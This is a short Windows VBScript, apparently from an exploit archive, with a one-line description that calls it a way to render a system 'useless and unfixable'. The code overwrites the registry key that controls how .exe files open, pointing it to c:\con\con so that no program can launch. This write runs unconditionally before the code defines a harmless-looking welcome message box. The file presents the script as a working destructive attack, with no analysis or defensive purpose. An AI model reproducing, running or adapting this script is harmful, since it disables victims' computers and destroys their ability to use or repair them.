Windows script which modifies the registy to include c:/con/con, rendering the system useless and unfixable. May affect win2k as well.
1c39e09e3a612fedf7f5c10fa1610f20eafa27439a1e9ce8e3e609e05ae63b37
Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.RegWrite "HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command\", "c:\con\con"
Sub Welcome()
Dim intDoIt
intDoIt = MsgBox(L_Welcome_MsgBox_Message_Text, _
vbOKCancel + vbInformation, _
L_Welcome_MsgBox_Title_Text )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub